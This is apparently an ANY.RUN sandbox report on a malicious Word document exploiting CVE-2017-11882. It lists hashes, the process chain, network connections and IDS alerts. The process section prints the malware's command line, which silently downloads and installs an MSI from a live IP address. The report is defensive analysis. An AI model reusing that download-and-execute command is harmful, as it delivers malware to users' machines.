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File name:

BunkerRequsitionNv2018.doc

Full analysis: https://app.any.run/tasks/b4455904-9bd8-49cc-b9a0-f6fb7c5b119a
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

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Analysis date: November 14, 2018, 15:58:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, LF line terminators
MD5:

C6F7F7A26D6D6B0A15902E1846ABAC8D

SHA1:

4AE01713F4596D67F1185C3F767C0F5B43089855

SHA256:

CC80949E976B515B4285A69866000442441B54A9EF56F75DB6DCF562277B0BA8

SSDEEP:

768:QmKfcZpEHUqUisx+NLBhoY52330zUUaxCbG8ibUBvlk4oYhCkt:Q4ZcUisxYtBmWHv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 664)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 1336)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 1336)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 772)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 772)

    • Application was crashed

      • EQNEDT32.EXE (PID: 1336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
772"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\BunkerRequsitionNv2018.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1336"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
664cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/6.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1619
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1072msiexec.exe /i http://34.244.180.39/6.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
4052C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Total events
1 397
Read events
744
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR971B.tmp.cvr —
MD5:—
SHA256:—
4052msiexec.exeC:\Windows\Installer\MSIA69C.tmp —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$nkerRequsitionNv2018.docpgc
MD5:F443663AA1C38C1E52523B48375F3C22
SHA256:DDFB6EDF9DCEC319BC226284F324B9AB424FD9DAF73DFE9F48D772485C624F5A
772WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:C5E36A02406B827705F68C849903DEB1
SHA256:7361DAA019FE25BF596A718C6EB45109D46152053A914DD69F760F14120AC20D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4052
msiexec.exe
GET
—
34.244.180.39:80
http://34.244.180.39/6.msi
IE
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4052
msiexec.exe
34.244.180.39:80
—
Amazon.com, Inc.
IE
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
4052
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
4052
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
4052
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
4052
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1 ETPRO signatures available at the full report
No debug info
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Reports
BunkerRequsitionNv2018.doc